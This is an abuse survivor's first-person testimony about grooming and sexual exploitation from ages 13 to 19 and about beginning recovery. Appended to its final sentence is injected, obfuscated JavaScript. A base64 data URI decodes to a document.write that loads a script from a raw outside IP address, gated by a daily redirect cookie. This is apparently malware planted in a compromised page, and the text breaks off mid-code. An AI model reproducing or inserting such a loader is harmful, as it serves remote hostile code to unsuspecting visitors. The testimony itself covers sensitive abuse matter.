135 – Nick M. (Canada)

I’m 20 and just coming to terms in the last 2 months with the sexual abuse I experienced from when I was 13-19. When I was 13 and realizing that I was gay, I was alone in a homophobic household and a Catholic school. To find other gay people, validation, and someone to talk to, I went online. It didn’t take long for men to begin messaging me, and they gave me lots of attention and praise. As time went on, they began pushing boundaries and getting me to talk about sex. I had no idea what they looked like most of the time, just hearing their voice on a mic or seeing a small thumbnail. Soon they were getting me to strip for them on cam, take nude photos, or act out for role plays.There were dozens of men and they had taught me that this was the way to explore and express my sexuality, using me to act out their fantasies.

This went on for years, and as I grew up I would meet with dozens more strangers in person and let them use my body. Married men, divorced men, single ones, straight, bi, gay, men in their 20s to men in their 60s…I felt that this was all I deserved and continued to seek out this abuse as if I wanted it. I have never been with someone who loved or respected me, never had a relationship. Everyday is a challenge, & the worst part is I have so much guilt and fear/anger towards myself. They often exposed me to child porn which has been coming back to me in flashbacks and panic attacks. These men have left me empty.

The anxiety and depression I’m experiencing is forcing me to look at my life, work to change it, and take steps to heal. I’ve told several of my close friends, started on anti-depressants, and I’m searching for a therapist. Seeing stories from other survivors saddens me yet motivates me to connect with and help others. My recovery is just beginning, and I’m doing it with all of you. ..match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘